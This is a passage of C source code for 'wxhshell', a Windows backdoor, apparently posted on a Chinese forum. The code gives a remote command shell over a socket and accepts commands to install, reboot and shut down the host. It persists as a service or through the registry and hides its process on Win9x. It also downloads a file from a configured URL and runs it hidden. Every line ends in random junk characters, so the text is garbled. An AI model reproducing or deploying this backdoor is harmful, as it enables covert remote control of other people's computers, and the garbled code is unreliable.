  else { y"zgpqJ  
K;kaWV  
    switch(cmd[0]) { Bh3N6j+$d  
  $>Md]/I8  
  // 帮助 Ilt!O^  
  case '?': { XgRrJ.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wm ri%  
    break; >%Rb}Ki4  
  } EGpN@  
  // 安装 E57:ap)/  
  case 'i': { 6r  
    if(Install()) );EW(7KeL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*"]XE?M  
    else ;#-yyU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  dxHKXw  
    break; 3j<:g%5  
    } {l/j?1Dxq  
  // 卸载 ab"6]%_  
  case 'r': { u@QP<[f  
    if(Uninstall()) :yg:sU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PP/EZ^]b  
    else PF=BXY1<UL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qyi5j0)W  
    break;  B=)&43)\  
    } t6-He~  
  // 显示 wxhshell 所在路径 DD 8uG`<  
  case 'p': { Cg{V"B:  
    char svExeFile[MAX_PATH]; 0X \OQ;  
    strcpy(svExeFile,"\n\r"); 8{DZew /  
      strcat(svExeFile,ExeFile); `zf,$67>1  
        send(wsh,svExeFile,strlen(svExeFile),0); g-G;8x'n  
    break; \3nu &8d  
    } Kf=6l#J7  
  // 重启 ^n! j"  
  case 'b': { (41BUX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bEO\oS  
    if(Boot(REBOOT)) B$ty`/{w,B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mEK0ID\  
    else { 3PRg/vD3  
    closesocket(wsh); A'A5.\UN  
    ExitThread(0); &lbZTY}  
    } w5/`_m!  
    break; War<a#0  
    } bUv}({  
  // 关机 yg}zK>j^vC  
  case 'd': { pF0sXvWGG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _FpZc ?=  
    if(Boot(SHUTDOWN)) 8+}yf.`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RbOEXH*]  
    else { cV;<!f+  
    closesocket(wsh); B=<>OYH  
    ExitThread(0); 9, A(|g  
    } =*paa  
    break; WY>r9+A?W  
    } (L`7-6e(Ab  
  // 获取shell 18`YY\u(  
  case 's': { ?E>(zV1D/  
    CmdShell(wsh); VkFvV><"  
    closesocket(wsh); MTnW5W-r9  
    ExitThread(0); FYwMmb ~3  
    break;  Tt;h?  
  } l]g /rs  
  // 退出 \\ZR~f!<  
  case 'x': { Rgstk/1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TRLz>mQ  
    CloseIt(wsh); Rs$fNW@P  
    break; dUt$kB  
    } ^nO0/nqz]  
  // 离开 N@qP}/}8  
  case 'q': { <@F.qMl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bQ%6z}r  
    closesocket(wsh); /z=xEnU#  
    WSACleanup(); ajM3Uwnr  
    exit(1); a:q>7V|%$  
    break; W;Pdbf"  
        } %|"0p3  
  } `EBI$;!  
  } %-nYK3  
X  jPPgI  
  // 提示信息 J\@ r ~x5G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \*a7o GyH>  
} E =*82Y=B  
  } xX !`0T7Y  
z_i (o  
  return; kv!QO^;^Y  
} w"PnN  
f6of8BOg  
// shell模块句柄 b(E}W2-t  
int CmdShell(SOCKET sock) ^uWPbW&/q  
{ %#_"I e  
STARTUPINFO si; kA.U2  
ZeroMemory(&si,sizeof(si)); (&Kv]--  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m{v*\e7 P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @V\ u<n  
PROCESS_INFORMATION ProcessInfo; :CeK 'A\  
char cmdline[]="cmd"; \X*Es.;|x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p&s~O,Bw$  
  return 0; TmS-w  
} 4Eri]O Ri  
X[SdDYMY  
// 自身启动模式 >P<8E2}*  
int StartFromService(void) S^8C\ E  
{ VYR<x QA  
typedef struct Sux/='  
{ .S_7R/2(?  
  DWORD ExitStatus; aAbK{=/y_!  
  DWORD PebBaseAddress; &g.do?  
  DWORD AffinityMask; cko^_V&x  
  DWORD BasePriority; wB(X(nr  
  ULONG UniqueProcessId; IgmCZ?l&0  
  ULONG InheritedFromUniqueProcessId; |&oTxx$S  
}   PROCESS_BASIC_INFORMATION; M1mx{<]A  
{py"Ob_  
PROCNTQSIP NtQueryInformationProcess; {`ghX%M(l  
v 1.8]||^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /g`!Zn8a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &FpoMW  
/Kd9UQU  
  HANDLE             hProcess; ?~:4O}5Ax  
  PROCESS_BASIC_INFORMATION pbi; uGc0Lv4i/  
1PN!1=F}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3|0wD:Dy  
  if(NULL == hInst ) return 0; @zC p/fo3  
d:vuRK4+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S{Q2KD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R<<U(.E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pf:;iXH?  
w paI}H#  
  if (!NtQueryInformationProcess) return 0; sU$<v( `"  
mB5Sm|{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ufi:aE=}  
  if(!hProcess) return 0; L%`MoTpK q  
n~Yr`5+Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rj ] ~g  
$~,J8?)(z  
  CloseHandle(hProcess); 2CF5qn}T  
U^;|as  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (&KBYiwr  
if(hProcess==NULL) return 0; u9*7Buou^  
Y6E0-bL@Fe  
HMODULE hMod; *'n L[]  
char procName[255]; .WVIdVO7  
unsigned long cbNeeded; 3Fg{?C_l  
wVmQE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?Q[b1:;Lm  
xE5VXYU  
  CloseHandle(hProcess); ri1;i= W  
edL sn>\*#  
if(strstr(procName,"services")) return 1; // 以服务启动 Vo;0i$  
tu slkOE#  
  return 0; // 注册表启动 zN&m-nrw  
} <'N~|B/yZ  
j0~ dJ#  
// 主模块 )tv~N7  
int StartWxhshell(LPSTR lpCmdLine) =.]{OT  
{ .O&[9`"'  
  SOCKET wsl; xdgbs-a)  
BOOL val=TRUE; '!"rE1e  
  int port=0; 2w;Cw~<=d  
  struct sockaddr_in door; H1d2WNr[  
0<)Ep~!  
  if(wscfg.ws_autoins) Install(); [85b+SKW  
C({r1l4[D  
port=atoi(lpCmdLine); lyzM?lK-  
.3CQFbHF  
if(port<=0) port=wscfg.ws_port; `$Y%c1;  
<64#J9T^  
  WSADATA data; Rr0]~2R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O& 1z-  
w&>*4=^a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #OwxxUeZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +62}//_?  
  door.sin_family = AF_INET;  (,R\6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A\})H  
  door.sin_port = htons(port); 7?ILmYBw  
F*J bTEOn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jGUegeq  
closesocket(wsl); b=kY9!GN,v  
return 1; L>n^Q:M  
} "#8I &xZK  
zXW;W$7V4  
  if(listen(wsl,2) == INVALID_SOCKET) { Dn48?A[v  
closesocket(wsl); ~IFafAO&  
return 1; |)OC1=As  
} #!C|~=  
  Wxhshell(wsl); 5^N y6t  
  WSACleanup(); OyQ[}w3o|  
~cf)wrP  
return 0; K?u:-QX^  
Ie}7#>S  
} D^S"6v" z  
(@NW2  
// 以NT服务方式启动 xD9ZL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /jSb ^1\  
{ ~m4 LL[  
DWORD   status = 0; mGo NT  
  DWORD   specificError = 0xfffffff; I9h{fB  
qOAhBZ~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #V.u[:mO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XEUS)X)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qga\icQr  
  serviceStatus.dwWin32ExitCode     = 0; rAk;8)O$  
  serviceStatus.dwServiceSpecificExitCode = 0; Rl'xEtaN  
  serviceStatus.dwCheckPoint       = 0; xLP8*lvy  
  serviceStatus.dwWaitHint       = 0; k- exqM2x=  
c_u7O \  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =N2@H5+7  
  if (hServiceStatusHandle==0) return; qE.3:bQ!`  
S`& yVzv  
status = GetLastError(); k>=wwPy  
  if (status!=NO_ERROR) >:OP+Vc  
{ AMN`bgxW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _ucixM#  
    serviceStatus.dwCheckPoint       = 0; ^97[(89G9  
    serviceStatus.dwWaitHint       = 0; Ky*xAx:  
    serviceStatus.dwWin32ExitCode     = status; .uB[zJc  
    serviceStatus.dwServiceSpecificExitCode = specificError; C't%e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6n/KL  
    return; ;x&3tN/I  
  } jX,A.  
c^R "g)gr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <9x|)2P  
  serviceStatus.dwCheckPoint       = 0; fVYv 2  
  serviceStatus.dwWaitHint       = 0; }OSfC~5P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G+WCE*  
} /U>8vV+C  
Ls*Vz,3!5  
// 处理NT服务事件,比如:启动、停止 m/WDJ$d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !lKDNQ8>["  
{ qv`:o `  
switch(fdwControl) &{8[I3#@  
{ ^y~oXS(  
case SERVICE_CONTROL_STOP: a?)g>e HN  
  serviceStatus.dwWin32ExitCode = 0; kdMB.~(K=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {"0n^!  
  serviceStatus.dwCheckPoint   = 0; !v*#E{r"g=  
  serviceStatus.dwWaitHint     = 0; bBQHxH}vi  
  { sA }X)aP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cyud)BZvm  
  } G }M!  
  return; \rCdsN2H  
case SERVICE_CONTROL_PAUSE: n&8N`!^o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S;BMM8U  
  break; Y5TBWcGU%  
case SERVICE_CONTROL_CONTINUE: (CE2]Nv9")  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .yb8<qs  
  break; s%?<:9  
case SERVICE_CONTROL_INTERROGATE: V{{UsEVO  
  break; F|&mxsL  
}; x!onan  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .>'J ^^  
} %Ip=3($Ku[  
Q8DKU  
// 标准应用程序主函数 )EG-xo@X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xH-} <7  
{ %Jn5M(myC  
d_98%U+u  
// 获取操作系统版本 vf`]  
OsIsNt=GetOsVer(); QEEX|WM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'YEiT#+/  
;e~K<vMm;y  
  // 从命令行安装 o#IWH;ck.  
  if(strpbrk(lpCmdLine,"iI")) Install(); T{T> S%17~  
[ HjGdC  
  // 下载执行文件 =IIE]<z  
if(wscfg.ws_downexe) { 'eoI~*}3WQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y C}$O2  
  WinExec(wscfg.ws_filenam,SW_HIDE); v=H!Y";  
} 87nsWBe  
[oH,FSuO!2  
if(!OsIsNt) { z<BwV /fH}  
// 如果时win9x,隐藏进程并且设置为注册表启动 cH7D@p}  
HideProc(); ;"%luQA<w  
StartWxhshell(lpCmdLine); J1Y3>40  
} NO#^_N`#\  
else ,0$b8lb;x/  
  if(StartFromService()) q5w)i  
  // 以服务方式启动 1z[blNs&  
  StartServiceCtrlDispatcher(DispatchTable); t aOsC! Bp  
else ,I[A~  
  // 普通方式启动 8\Eq(o}7  
  StartWxhshell(lpCmdLine); =`%%*  
.T*7nw  
return 0; $w<~W1\:  
}
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只看该作者 1 发表于: 2006-10-10
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